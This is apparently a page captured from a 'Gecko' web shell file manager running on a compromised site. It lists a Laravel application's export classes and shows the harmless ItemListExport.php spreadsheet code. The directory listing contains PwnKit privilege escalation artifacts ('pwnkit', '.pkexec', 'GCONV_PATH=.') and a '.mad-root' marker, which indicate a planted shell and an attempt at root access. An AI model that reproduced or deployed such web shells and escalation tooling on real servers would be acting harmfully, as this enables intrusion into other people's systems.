Gecko [ avigyah.mydemowebs.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
AddonCategoryExport.php	4.01 KB	-rwxr-xr-x
AddonExport.php	3.98 KB	-rwxr-xr-x
AdminTaxReportDetailsExport.ph...	4.54 KB	-rwxr-xr-x
AdminTaxReportExport.php	4.34 KB	-rwxr-xr-x
AttributesExport.php	4 KB	-rwxr-xr-x
BasicCampaignExport.php	4.31 KB	-rwxr-xr-x
CategoryExport.php	4 KB	-rwxr-xr-x
CollectCashTransactionExport.p...	4.01 KB	-rwxr-xr-x
ContactMessageExport.php	4.31 KB	-rwxr-xr-x
CouponExport.php	4.02 KB	-rwxr-xr-x
CustomerListExport.php	4.71 KB	-rwxr-xr-x
CustomerLoyaltyTransactionExpo...	4.83 KB	-rwxr-xr-x
CustomerOrderExport.php	4.13 KB	-rwxr-xr-x
CustomerWalletTransactionExpor...	4.83 KB	-rwxr-xr-x
DeliveryManEarningExport.php	4.85 KB	-rwxr-xr-x
DeliveryManListExport.php	6.05 KB	-rwxr-xr-x
DeliveryManReviewExport.php	4.46 KB	-rwxr-xr-x
DeliveryManWithdrawTransaction...	4.01 KB	-rwxr-xr-x
DeliverymanPaymentExport.php	3.98 KB	-rwxr-xr-x
DisbursementExport.php	4.97 KB	-rwxr-xr-x
DisbursementHistoryExport.php	3.26 KB	-rwxr-xr-x
DisbursementReportExport.php	3.55 KB	-rwxr-xr-x
DisbursementVendorReportExport...	3.56 KB	-rwxr-xr-x
EmployeeExport.php	2.65 KB	-rwxr-xr-x
EmployeeListExport.php	5.71 KB	-rwxr-xr-x
ExpenseReportExport.php	4.31 KB	-rwxr-xr-x
ItemCampaignExport.php	4.36 KB	-rwxr-xr-x
ItemListExport.php	5.01 KB	-rwxr-xr-x
ItemReportExport.php	5.05 KB	-rwxr-xr-x
ItemReviewExport.php	4.4 KB	-rwxr-xr-x
LimitedStockReportExport.php	5.07 KB	-rwxr-xr-x
ModuleExport.php	3.99 KB	-rwxr-xr-x
OrderExport.php	4.64 KB	-rwxr-xr-x
OrderReportExport.php	4.02 KB	-rwxr-xr-x
ParcelCancellationReasonExport...	4 KB	-rwxr-xr-x
ParcelOrderExport.php	4.65 KB	-rwxr-xr-x
ParcelWiseTaxExport.php	4.31 KB	-rwxr-xr-x
PushNotificationExport.php	4.88 KB	-rwxr-xr-x
ReviewsExport.php	4.23 KB	-rwxr-xr-x
SingleDeliveryManReviewExport....	4.88 KB	-rwxr-xr-x
StoreCashTransactionExport.php	4.03 KB	-rwxr-xr-x
StoreCategoryExport.php	4.01 KB	-rwxr-xr-x
StoreEmployeeListExport.php	5.47 KB	-rwxr-xr-x
StoreItemExport.php	4.99 KB	-rwxr-xr-x
StoreListExport.php	5.82 KB	-rwxr-xr-x
StoreOrderReportExport.php	4.7 KB	-rwxr-xr-x
StoreOrderTransactionExport.ph...	4.03 KB	-rwxr-xr-x
StoreOrderlistExport.php	4.23 KB	-rwxr-xr-x
StoreSalesReportExport.php	5.46 KB	-rwxr-xr-x
StoreSubCategoryExport.php	4.01 KB	-rwxr-xr-x
StoreSummaryReportExport.php	5.09 KB	-rwxr-xr-x
StoreWiseItemReviewExport.php	4.18 KB	-rwxr-xr-x
StoreWiseWithdrawTransactionEx...	4.05 KB	-rwxr-xr-x
StoreWithdrawTransactionExport...	4.01 KB	-rwxr-xr-x
SubscriberListExport.php	3.33 KB	-rwxr-xr-x
SubscriptionSubscriberListExpo...	4.05 KB	-rwxr-xr-x
SubscriptionTransactionsExport...	4.04 KB	-rwxr-xr-x
SubscritionPackageListExport.p...	4.01 KB	-rwxr-xr-x
TransactionReportExport.php	5.11 KB	-rwxr-xr-x
UnitExport.php	3.98 KB	-rwxr-xr-x
UsersExport.php	7.53 KB	-rwxr-xr-x
VendorTaxExport.php	4.3 KB	-rwxr-xr-x
VendorWiseTaxExport.php	4.31 KB	-rwxr-xr-x
ZoneExport.php	3.98 KB	-rwxr-xr-x
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : ItemListExport.php

<?php

namespace App\Exports;

use Illuminate\Contracts\View\View;
use Illuminate\Support\Facades\Config;
use Maatwebsite\Excel\Concerns\FromView;
use Maatwebsite\Excel\Events\AfterSheet;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\WithEvents;
use Maatwebsite\Excel\Concerns\WithStyles;
use PhpOffice\PhpSpreadsheet\Style\Border;
use Maatwebsite\Excel\Concerns\WithHeadings;
use PhpOffice\PhpSpreadsheet\Style\Alignment;
use Maatwebsite\Excel\Concerns\ShouldAutoSize;
use Maatwebsite\Excel\Concerns\WithColumnWidths;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
use PhpOffice\PhpSpreadsheet\Worksheet\Drawing;
class ItemListExport implements  FromView, ShouldAutoSize, WithStyles,WithColumnWidths ,WithHeadings, WithEvents
{

use Exportable;
    protected $data;
    // protected $search;

public function __construct($data) {
        $this->data = $data;
    }

public function view(): View
    {
        return view('file-exports.item-list', [
            'data' => $this->data,
        ]);
    }

public function columnWidths(): array
    {
        return [
            'B' => 15,
            // 'C' => 25,
            'D' => 40,
            'I' => 40,
            'J' => 40,
            'O' => 40,
        ];
    }

public function styles(Worksheet $sheet) {
        $sheet->getStyle('A2:R2')->getFont()->setBold(true);
        $sheet->getStyle('A3:R3')->getFill()->applyFromArray([
            'fillType' => 'solid',
            'rotation' => 0,
            'color' => ['rgb' => '9F9F9F'],
        ]);

$sheet->setShowGridlines(false);
        $styleArray = [
            'borders' => [
                'bottom' => ['borderStyle' => 'hair', 'color' => ['argb' => 'FFFF0000']],
                'top' => ['borderStyle' => 'hair', 'color' => ['argb' => 'FFFF0000']],
                'right' => ['borderStyle' => 'hair', 'color' => ['argb' => 'FF00FF00']],
                'left' => ['borderStyle' => 'hair', 'color' => ['argb' => 'FF00FF00']],
            ],
            'fillType' => 'solid',
            'rotation' => 0,
        ];
        $sheet->getStyle('A1:C1')->applyFromArray($styleArray);
        return [
            // Define the style for cells with data
            'A1:R'.$this->data['data']->count() +3 => [
                'borders' => [
                    'allBorders' => [
                        'borderStyle' => Border::BORDER_THIN,
                        'color' => ['argb' => '000000'], // Specify the color of the border (optional)
                    ],
                ],
            ],
        ];

}

public function setImage($workSheet) {
        $this->data['data']->each(function($item,$index) use($workSheet) {
            $drawing = new Drawing();
            $drawing->setName($item->name);
            $drawing->setDescription($item->name);
            $drawing->setPath(is_file(storage_path('app/public/product/'.$item->image))?storage_path('app/public/product/'.$item->image):public_path('/assets/admin/img/160x160/img2.jpg'));
            $drawing->setHeight(25);
            $index+=4;
            $drawing->setCoordinates("B$index");
            $drawing->setWorksheet($workSheet);
        });
    }

public function registerEvents(): array
    {
        return [
            AfterSheet::class => function(AfterSheet $event) {
                $event->sheet->getStyle('A1:R1') // Adjust the range as per your needs
                    ->getAlignment()
                    ->setHorizontal(Alignment::HORIZONTAL_CENTER)
                    ->setVertical(Alignment::VERTICAL_CENTER);
                $event->sheet->getStyle('A2:C2')
                    ->getAlignment()
                    ->setHorizontal(Alignment::HORIZONTAL_CENTER)
                    ->setVertical(Alignment::VERTICAL_CENTER);
                $event->sheet->getStyle('A3:C3')
                    ->getAlignment()
                    ->setHorizontal(Alignment::HORIZONTAL_CENTER)
                    ->setVertical(Alignment::VERTICAL_CENTER);

$event->sheet->getStyle('A3:R'.$this->data['data']->count() +3)
                    ->getAlignment()
                    ->setHorizontal(Alignment::HORIZONTAL_CENTER)
                    ->setVertical(Alignment::VERTICAL_CENTER);
                $event->sheet->getStyle('D2:R2')
                    ->getAlignment()
                    ->setHorizontal(Alignment::HORIZONTAL_LEFT)
                    ->setVertical(Alignment::VERTICAL_CENTER);

$event->sheet->mergeCells('A1:R1');
                    $event->sheet->mergeCells('A2:C2');
                    $event->sheet->mergeCells('D2:R2');

$event->sheet->getDefaultRowDimension()->setRowHeight(30);
                    $event->sheet->getRowDimension(1)->setRowHeight(50);
                    $event->sheet->getRowDimension(2)->setRowHeight(80);
                    $workSheet = $event->sheet->getDelegate();
                    $this->setImage($workSheet);
                },
        ];
    }
    public function headings(): array
    {
        return [
            '1'
        ];
    }
}

${this.title}

Code Editor : ItemListExport.php